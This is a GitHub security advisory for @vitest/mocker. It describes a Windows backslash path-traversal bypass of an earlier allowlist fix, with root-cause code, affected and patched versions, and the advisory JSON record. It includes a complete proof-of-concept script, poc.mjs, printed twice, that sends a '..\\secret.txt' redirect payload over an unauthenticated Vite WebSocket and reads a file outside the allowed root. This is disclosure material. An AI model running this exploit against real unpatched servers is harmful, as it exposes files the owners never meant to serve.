GHSA-XP26-3454-MJGP

Vulnerability from github – Published: 2026-10-21 19:48 – Updated: 2026-10-21 19:48
VLAI
Summary
Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix
Details

Summary

The path traversal fix released for GHSA-82fw-gwwq-j7x9 can be bypassed on Windows by using a backslash in the redirect URL pathname.

The fixed code joins an attacker-controlled URL pathname with the Vite root using node:path/posix, then passes that string to Vite's file allowlist check. On Windows, a value such as C:/project/root/..\secret.txt retains ..\ during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later readFile() call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.

I reproduced the issue with the published @vitest/mocker packages in both fixed release lines:

  • @vitest/mocker@4.1.11
  • @vitest/mocker@5.0.0

The current main source at commit 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 has the same behavior.

Patches

Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so ..\ resolves the same as ../ and the allowlist check rejects it.

Relationship to GHSA-82fw-gwwq-j7x9

This is a bypass of the accepted fix, not a separate unrelated path. It uses the same vitest:interceptor:register redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.

The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:

  • 4.1.11
  • >=5.0.0-rc.2, <5.0.3

Older affected releases remain covered by GHSA-82fw-gwwq-j7x9.

Root cause

packages/mocker/src/node/interceptorPlugin.ts imports join from node:path/posix. Redirect registration currently performs the equivalent of:

const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect

The registered value later reaches:

readFile(mock.redirect, 'utf-8')

Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but readFile interprets them as separators. The check and the sink therefore interpret the same string differently.

The authenticated browser RPC fallback in packages/browser/src/node/rpc.ts is not affected: it joins the path with pathe, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.

Preconditions and impact

A client that can reach a Vite server using the public mockerPlugin or standalone interceptorPlugin WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside server.fs.allow that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.

The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.

Reproduction

Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling secret.txt containing a canary.

Install dependencies for either affected line:

npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs

poc.mjs:

import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
  }
  console.log(JSON.stringify(result, null, 2))
  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
    ? !result.backslashTraversalReturnedOutsideCanary
    : result.backslashTraversalReturnedOutsideCanary
  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
  await server.close()
}

Observed with @vitest/mocker@4.1.11:

{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
  "expectedBackslashTraversalBlocked": false
}

The same result was observed with @vitest/mocker@5.0.0.

This includes two useful controls:

  1. traversal:../secret.txt is rejected and returns 404, confirming the published forward-slash fix is active.
  2. traversal:..\secret.txt returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@vitest/mocker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.11"
            },
            {
              "fixed": "4.1.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@vitest/mocker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-rc.2"
            },
            {
              "fixed": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T19:48:38Z",
    "nvd_published_at": "2026-10-20T16:17:05Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname.\n\nThe fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite\u0027s file allowlist check. On Windows, a value such as `C:/project/root/..\\secret.txt` retains `..\\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.\n\nI reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:\n\n- `@vitest/mocker@4.1.11`\n- `@vitest/mocker@5.0.0`\n\nThe current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.\n\n## Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\\` resolves the same as `../` and the allowlist check rejects it.\n\n## Relationship to GHSA-82fw-gwwq-j7x9\n\nThis is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.\n\nThe original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:\n\n- `4.1.11`\n- `\u003e=5.0.0-rc.2, \u003c5.0.3`\n\nOlder affected releases remain covered by GHSA-82fw-gwwq-j7x9.\n\n## Root cause\n\n`packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of:\n\n```ts\nconst redirect = join(server.config.root, redirectUrl.pathname)\nif (!isFileLoadingAllowed(server.config, redirect)) return\nevent.redirect = redirect\n```\n\nThe registered value later reaches:\n\n```ts\nreadFile(mock.redirect, \u0027utf-8\u0027)\n```\n\nVite\u0027s allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently.\n\nThe authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.\n\n## Preconditions and impact\n\nA client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.\n\nThe reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin\u0027s internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.\n\n## Reproduction\n\nTested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary.\n\nInstall dependencies for either affected line:\n\n```console\nnpm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3\n# or\nnpm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3\nnode poc.mjs\n```\n\n`poc.mjs`:\n\n```js\nimport { mkdir, writeFile } from \u0027node:fs/promises\u0027\nimport { join } from \u0027node:path\u0027\nimport { tmpdir } from \u0027node:os\u0027\nimport { randomUUID } from \u0027node:crypto\u0027\nimport { interceptorPlugin } from \u0027@vitest/mocker/node\u0027\nimport { createServer } from \u0027vite\u0027\nimport { WebSocket } from \u0027ws\u0027\n\nconst base = join(tmpdir(), `vitest-path-${randomUUID()}`)\nconst root = join(base, \u0027root\u0027)\nconst secret = join(base, \u0027secret.txt\u0027)\nawait mkdir(root, { recursive: true })\nawait writeFile(secret, \u0027SYNTHETIC_OUTSIDE_ROOT_CANARY\u0027)\n\nconst server = await createServer({\n  root,\n  configFile: false,\n  logLevel: \u0027silent\u0027,\n  server: { fs: { allow: [root] } },\n  plugins: [\n    {\n      name: \u0027validation:virtual-modules\u0027,\n      enforce: \u0027pre\u0027,\n      resolveId(id) {\n        if (id === \u0027/control\u0027 || id === \u0027/bypass\u0027) return id\n      },\n    },\n    interceptorPlugin(),\n  ],\n})\n\nawait server.listen()\nconst port = new URL(server.resolvedUrls.local[0]).port\nconst baseUrl = server.resolvedUrls.local[0]\n\nfunction register(id, redirect) {\n  return new Promise((resolve, reject) =\u003e {\n    const socket = new WebSocket(`ws://localhost:${port}`, \u0027vite-hmr\u0027)\n    const timer = setTimeout(() =\u003e reject(new Error(\u0027registration timeout\u0027)), 5000)\n    socket.on(\u0027message\u0027, (raw) =\u003e {\n      let message\n      try { message = JSON.parse(raw.toString()) } catch { return }\n      if (message.type === \u0027custom\u0027 \u0026\u0026 message.event === \u0027vitest:interceptor:register:result\u0027) {\n        clearTimeout(timer)\n        socket.close()\n        resolve()\n      }\n    })\n    socket.on(\u0027open\u0027, () =\u003e socket.send(JSON.stringify({\n      type: \u0027custom\u0027,\n      event: \u0027vitest:interceptor:register\u0027,\n      data: { type: \u0027redirect\u0027, raw: \u0027\u0027, id, url: id, redirect },\n    })))\n    socket.on(\u0027error\u0027, reject)\n  })\n}\n\ntry {\n  await register(\u0027/control\u0027, \u0027traversal:../secret.txt\u0027)\n  const controlResponse = await fetch(new URL(\u0027/control\u0027, baseUrl))\n  const controlBody = await controlResponse.text()\n\n  await register(\u0027/bypass\u0027, \u0027traversal:..\\\\secret.txt\u0027)\n  const bypassResponse = await fetch(new URL(\u0027/bypass\u0027, baseUrl))\n  const bypassBody = await bypassResponse.text()\n\n  const result = {\n    platform: process.platform,\n    root,\n    outsideFile: secret,\n    slashTraversalStatus: controlResponse.status,\n    slashTraversalRejected: !controlBody.includes(\u0027SYNTHETIC_OUTSIDE_ROOT_CANARY\u0027),\n    backslashTraversalStatus: bypassResponse.status,\n    backslashTraversalReturnedOutsideCanary: bypassBody.includes(\u0027SYNTHETIC_OUTSIDE_ROOT_CANARY\u0027),\n    returnedBody: bypassBody.includes(\u0027SYNTHETIC_OUTSIDE_ROOT_CANARY\u0027) ? \u0027SYNTHETIC_OUTSIDE_ROOT_CANARY\u0027 : null,\n    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === \u00271\u0027,\n  }\n  console.log(JSON.stringify(result, null, 2))\n  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked\n    ? !result.backslashTraversalReturnedOutsideCanary\n    : result.backslashTraversalReturnedOutsideCanary\n  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1\n} finally {\n  await server.close()\n}\n```\n\nObserved with `@vitest/mocker@4.1.11`:\n\n```json\n{\n  \"platform\": \"win32\",\n  \"slashTraversalStatus\": 404,\n  \"slashTraversalRejected\": true,\n  \"backslashTraversalStatus\": 200,\n  \"backslashTraversalReturnedOutsideCanary\": true,\n  \"returnedBody\": \"SYNTHETIC_OUTSIDE_ROOT_CANARY\",\n  \"expectedBackslashTraversalBlocked\": false\n}\n```\n\nThe same result was observed with `@vitest/mocker@5.0.0`.\n\nThis includes two useful controls:\n\n1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.\n2. `traversal:..\\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.",
  "id": "GHSA-xp26-3454-mjgp",
  "modified": "2026-10-21T19:48:38Z",
  "published": "2026-10-21T19:48:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112950"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitest-dev/vitest"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.